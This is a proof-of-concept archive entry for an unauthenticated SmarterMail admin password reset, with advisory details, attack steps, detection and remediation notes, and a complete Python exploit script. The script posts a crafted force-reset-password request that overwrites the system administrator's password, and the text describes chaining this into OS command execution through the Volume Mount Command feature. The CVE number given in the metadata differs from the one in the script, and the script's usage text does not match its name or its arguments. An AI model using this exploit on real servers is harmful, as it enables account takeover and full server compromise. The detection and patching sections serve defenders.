PoC Archive PoC Archive
Critical CVE-2026-0001 (tracked publicly as WT-2026-0001) patched

SmarterMail Unauthenticated Admin Password Reset (CVE-2026-0001 / WT-2026-0001)

by HORKimhab (mirror/publisher); underlying research credited to watchtowr labs and g0vguy (original WT-2026-0001 writeup/exploit) · 2026-07-05

CVSS 9.0/10
Severity
Critical
CVE
CVE-2026-0001 (tracked publicly as WT-2026-0001)
Category
web
Affected product
SmarterTools SmarterMail (webmail/admin control panel), typically on port 9998
Affected versions
Builds prior to 9511 (patched 2026-01-15)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherHORKimhab (mirror/publisher); underlying research credited to watchtowr labs and g0vguy (original WT-2026-0001 writeup/exploit)
CVE / AdvisoryCVE-2026-0001 (tracked publicly as WT-2026-0001)
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source (repo estimates “9.0+”)
StatusPoC
Tagssmartermail, auth-bypass, password-reset, email-server, unauthenticated, rce-chain, smartertools, api
RelatedN/A

Affected Target

FieldValue
Software / SystemSmarterTools SmarterMail (webmail/admin control panel), typically on port 9998
Versions AffectedBuilds prior to 9511 (patched 2026-01-15)
Language / PlatformPython 3 (requests-based HTTP client)
Authentication RequiredNo
Network Access RequiredYes

Summary

SmarterMail exposes an /api/v1/auth/force-reset-password endpoint intended for authenticated self-service password resets, but the handler fails to validate the caller’s identity when the request body sets IsSysAdmin to true. Sending a crafted JSON payload with an arbitrary OldPassword value causes the server to accept the request and overwrite the system administrator’s password with an attacker-chosen value, with no prior session or credentials required. Once the admin password is reset, an attacker can log into the SmarterMail admin panel and abuse the built-in “Volume Mount Command” feature under Settings to execute arbitrary OS commands, escalating the bug into full server compromise. The PoC (smartermail_poc.py) sends the crafted reset request directly and reports whether the reset succeeded based on the JSON response.


Vulnerability Details

Root Cause

The force-reset-password API handler treats the client-supplied IsSysAdmin flag as authoritative and skips old-password verification for that code path, allowing any unauthenticated caller to reset the sysadmin account’s credentials.

Attack Vector

  1. Attacker identifies a SmarterMail instance (default admin panel port 9998).
  2. Attacker sends an unauthenticated POST /api/v1/auth/force-reset-password with IsSysAdmin: true, a target Username (default admin), an arbitrary OldPassword, and a chosen NewPassword/ConfirmPassword.
  3. Vulnerable servers return "success": true and the sysadmin password is overwritten.
  4. Attacker logs into the admin panel with the new credentials.
  5. Attacker navigates to Settings → Volume Mounts and uses the “Volume Mount Command” field to execute OS commands, achieving RCE.

Impact

Unauthenticated takeover of the SmarterMail system administrator account, which can be chained into full remote code execution on the mail server host.


Environment / Lab Setup

Target:   SmarterTools SmarterMail build < 9511, admin panel reachable on TCP/9998
Attacker: Python 3.6+, `requests` library

Proof of Concept

PoC Script

See smartermail_poc.py in this folder.

1
2
python smartermail_poc.py http://target-ip:9998
python smartermail_poc.py http://target-ip:9998 admin SuperSecretPass123!

The script POSTs the crafted force-reset-password payload to the target, prints the HTTP status and JSON response, and confirms success when the response reports "success": true, at which point the attacker can log in with the new admin credentials.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexplained sysadmin login or password-change events with no corresponding support/help-desk request
  • Requests to force-reset-password from source IPs never previously associated with admin sessions
  • Execution of unexpected OS commands via the Volume Mount configuration feature

Remediation

ActionDetail
Primary fixUpgrade to SmarterMail build 9511 or later (released 2026-01-15)
Interim mitigationBlock or restrict access to /api/v1/auth/force-reset-password at the firewall/WAF, enforce IP allow-listing for the admin interface, and monitor sysadmin account activity closely

References


Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-0001 on 2026-07-05.

smartermail_poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
"""
    Usage
    Bashpython smartermail_poc.py http://target-ip:9998
    Or with a different username/password:
    Bashpython smartermail_poc.py http://target-ip:9998 admin SuperSecretPass123!
"""

import requests
import json
import sys
import urllib3

# Disable SSL warnings (for lab/testing environments only)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def reset_smartermail_admin(target_url, username="admin", new_password="NewPass123!@#"):
    """
    Exploit SmarterMail WT-2026-0001 / CVE-2026-23760
    Resets the system administrator password without authentication.
    """
    endpoint = "/api/v1/auth/force-reset-password"
    url = target_url.rstrip("/") + endpoint

    payload = {
        "IsSysAdmin": True,
        "OldPassword": "whatever",      # Not checked for sysadmin
        "Username": username,
        "NewPassword": new_password,
        "ConfirmPassword": new_password
    }

    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    print(f"[+] Sending password reset request to {url}")
    print(f"[+] Target username: {username}")
    print(f"[+] New password : {new_password}")

    try:
        response = requests.post(
            url, 
            headers=headers, 
            json=payload, 
            verify=False,      # Set True in production
            timeout=15
        )
        
        print(f"[+] HTTP Status: {response.status_code}")
        
        try:
            resp_json = response.json()
            print(json.dumps(resp_json, indent=2))
            
            if resp_json.get("success") is True:
                print("\n✅ SUCCESS! Administrator password has been reset.")
                print(f"   Username: {username}")
                print(f"   New Password: {new_password}")
                print("\nYou can now log in as admin with the new password.")
            else:
                print("\n❌ Request succeeded but reset may have failed.")
        except:
            print(response.text)
            
    except requests.exceptions.RequestException as e:
        print(f"❌ Request failed: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python smartermail_auth_bypass.py <http://target:port>")
        print("Example: python smartermail_auth_bypass.py http://192.168.1.100:9998")
        sys.exit(1)
    
    target = sys.argv[1]
    reset_smartermail_admin(target)